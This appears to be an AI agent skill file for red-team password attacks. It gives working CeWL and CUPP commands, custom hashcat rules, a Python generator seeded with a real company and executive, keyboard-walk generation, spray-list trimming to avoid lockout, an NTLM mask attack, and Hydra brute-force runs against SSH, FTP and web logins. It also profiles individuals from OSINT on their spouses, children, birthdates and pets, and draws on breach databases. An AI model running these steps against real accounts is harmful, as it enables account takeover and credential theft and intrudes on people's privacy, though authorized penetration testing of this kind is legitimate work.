---
name: rt-wordlist-generation
description: "Targeted wordlist and password list generation skill for authorized engagements. CeWL for website-based wordlist generation, CUPP for person-based password profiling, custom hashcat rules creation, keyboard walk patterns, company-specific mutation rules, OSINT-fed password generation, and SecLists curation for specific targets. Use before password spraying, brute-force, or hash cracking to maximize hit rate."
---

# rt-wordlist-generation — Targeted Wordlist & Password Generation

## Overview

Generic wordlists (rockyou.txt) have low success rates against modern enterprise passwords. Targeted wordlists built from OSINT about the organization, target person, or environment have dramatically higher success rates. This skill builds custom lists before spraying or cracking.

---

## Method 1 — CeWL (Company Website Wordlist)

```bash
# CeWL crawls target website and extracts unique words
apt install cewl -y

# Basic crawl
cewl https://corp.com -d 3 -m 6 -w corp-base.txt
# -d 3 = crawl 3 levels deep
# -m 6 = minimum word length 6

# Include numbers
cewl https://corp.com -d 3 -m 5 --with-numbers -w corp-nums.txt

# Crawl multiple pages
for url in "https://corp.com" "https://corp.com/about" "https://corp.com/team"; do
  cewl $url -d 2 -m 5 >> corp-all.txt
done
sort -u corp-all.txt > corp-unique.txt

# What CeWL extracts:
# Company name, product names, technology terms
# Employee names from team pages
# Location names, event names
# Industry jargon

# Typical output words: Synergy2024, ProjectApollo, TeamSpirit, CorporateIT
```

---

## Method 2 — CUPP (Person-Targeted Password Generation)

```bash
# CUPP generates passwords based on personal info about a target
pip3 install cupp
# Or: git clone https://github.com/Mebus/cupp

python3 cupp.py -i  # Interactive mode

# Enter collected OSINT:
# First name: John
# Surname: Smith
# Nickname: JSmith
# Birthdate: 15031985
# Partner's name: Sarah
# Partner's birthdate: 22071987
# Child name: Emma
# Child birthdate: 05092010
# Pet name: Buddy
# Company: Accenture

# Output: john.txt (thousands of variations)
# Examples: John1985!, Smith@1985, JSmith15031985, Buddy2024!

# CUPP also adds mutations: l33t speak, years, symbols
```

---

## Method 3 — Custom Hashcat Rules

```bash
# Hashcat rules = transformations applied to each word in a list
# Best64.rule ships with hashcat — extend it for corporate patterns

# Common corporate password patterns (from breach data analysis):
# CompanyName + Year + !     (Corp2024!)
# Season + Year + !          (Summer2024!)
# Month + Year               (January2024)
# Name + 123!                (Smith123!)
# Welcome + variation        (Welcome1!, W3lcome!)

# Create corp_rules.rule
cat > /opt/rules/corp_rules.rule << 'EOF'
# Append current and prior years with symbols
$2$0$2$4$!
$2$0$2$3$!
$2$0$2$4$@
$2$0$2$3$@
$2$0$2$4$#
$1$2$3$!
$1$2$3$@
$!$1$2$3
$@$1$2$3
# Capitalize first letter
c
# Capitalize first, append year
c$2$0$2$4
c$2$0$2$4$!
# l33t substitutions
sa@ se3 si! so0 ss$ st+
# Reverse
r
# Duplicate
d
# Append common suffixes
$!$!
$1$2$3$4
$9$9$9
EOF

# Apply rules to wordlist
hashcat --stdout corp-base.txt -r /opt/rules/corp_rules.rule | head -100
hashcat --stdout corp-base.txt -r /opt/rules/corp_rules.rule \
  -r /usr/share/hashcat/rules/best64.rule > corp-mutated.txt
```

---

## Method 4 — OSINT-Fed Password Generation

```bash
# Gather OSINT → build hyper-targeted list

# From LinkedIn company page:
# - Founded year, HQ city, CEO name, product names, recent news

# From employee OSINT:
# - Names, birthdays, pet names, car models, spouse names
# (Sources: social media, HaveIBeenPwned, breach databases)

# Generate from company info
python3 << 'EOF'
company = "Accenture"
city = "NewYork"
ceo = "JulieSweetney"
founded = "1989"
products = ["myNav", "SynOps", "Velocity"]
current_year = "2024"

# Generate base words
words = [company, city, ceo] + products
words += [company + founded, company + current_year]

# Apply common mutations
mutations = []
for w in words:
    mutations += [
        w,
        w.lower(),
        w.upper(),
        w.capitalize(),
        w + "!",
        w + "1",
        w + "123",
        w + "123!",
        w + current_year,
        w + current_year + "!",
        w + "@" + current_year,
        w.replace("a","@").replace("e","3").replace("i","!").replace("o","0"),
    ]

with open("targeted.txt", "w") as f:
    for m in sorted(set(mutations)):
        f.write(m + "\n")
print(f"Generated {len(set(mutations))} passwords")
EOF
```

---

## Method 5 — Keyboard Walk Patterns

```bash
# Many people use keyboard walks: qwerty, 1qaz2wsx, etc.
pip3 install kwprocessor
# github.com/hashcat/kwprocessor

# Generate keyboard walk patterns
kwp basechars/full.base keymaps/en-us.keymap routes/2-to-10-max-3-direction-changes.route -o keyboard_walks.txt

# Common keyboard walks (pre-built in wordlists):
# qwerty, qwerty123, qwerty!, 1234567890, !QAZ2wsx
# 1qaz2wsx, 1q2w3e4r, zxcvbn, !@#$%^&*

# Add to your combined list
cat /opt/SecLists/Passwords/Keyboard-Combinations.txt >> combined.txt
```

---

## Method 6 — Wordlist Combination & Optimization

```bash
# Combine all generated lists
cat corp-unique.txt corp-mutated.txt targeted.txt keyboard_walks.txt \
  /opt/SecLists/Passwords/Common-Credentials/top-passwords-shortlist.txt \
  | sort -u > final_spray_list.txt

wc -l final_spray_list.txt  # Check size

# For password spraying (keep small — 10-50 passwords max to avoid lockout)
# Sort by most likely: seasonal > company > common
head -20 final_spray_list.txt > spray_top20.txt

# For hash cracking (large list OK)
# Order by probability (hashcat --keyspace for optimization)

# Remove passwords that definitely don't meet policy
# (if you know the policy: min 8 chars, must have uppercase+number)
python3 << 'EOF'
import re

with open("final_spray_list.txt") as f:
    words = f.read().splitlines()

def meets_policy(p):
    return (len(p) >= 8 and 
            re.search(r'[A-Z]', p) and 
            re.search(r'[0-9]', p))

filtered = [w for w in words if meets_policy(w)]
with open("policy_filtered.txt", "w") as f:
    f.write("\n".join(filtered))
print(f"After policy filter: {len(filtered)} passwords")
EOF

# Hashcat mask attack (pattern-based — covers what wordlists miss)
# ?u = uppercase, ?l = lowercase, ?d = digit, ?s = special
# Pattern: Capital + 6 lowercase + 4 digits + symbol (very common)
hashcat -a 3 -m 1000 hashes.txt '?u?l?l?l?l?l?l?d?d?d?d?s' --increment
```

---

## Method 7 — Default Credential Lists

```bash
# For network devices, printers, IoT devices, web consoles
# These are separate from user password lists

# Tools & lists
# SecLists/Passwords/Default-Credentials/
ls /opt/SecLists/Passwords/Default-Credentials/
# default-passwords.csv
# ssh-betterdefaultpasslist.txt
# medical-devices.txt
# telnet-betterdefaultpasslist.txt

# Custom default cred testing with Hydra
hydra -C /opt/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \
  TARGET_IP ftp

hydra -C /opt/SecLists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
  TARGET_IP ssh

# Web panels
hydra -L /opt/SecLists/Usernames/top-usernames-shortlist.txt \
  -P /opt/SecLists/Passwords/Default-Credentials/default-passwords.csv \
  TARGET_IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
```

---

## Skill Levels

**BEGINNER:** CeWL + append year/symbol mutations · Use SecLists default passwords · top-20 spray list

**INTERMEDIATE:** CUPP for person-targeted lists · Custom hashcat rules · Policy-aware filtering

**ADVANCED:** Full OSINT-fed generation pipeline · Keyboard walks · Combined cracking strategy (wordlist → rules → masks)

**EXPERT:** ML-based password prediction from breach data · Context-aware rule generation · Real-time adaptive cracking

---

## References

- CeWL: https://github.com/digininja/CeWL
- CUPP: https://github.com/Mebus/cupp
- kwprocessor: https://github.com/hashcat/kwprocessor
- hashcat rules: https://hashcat.net/wiki/doku.php?id=rule_based_attack
- SecLists: https://github.com/danielmiessler/SecLists
- MITRE T1110: https://attack.mitre.org/techniques/T1110/
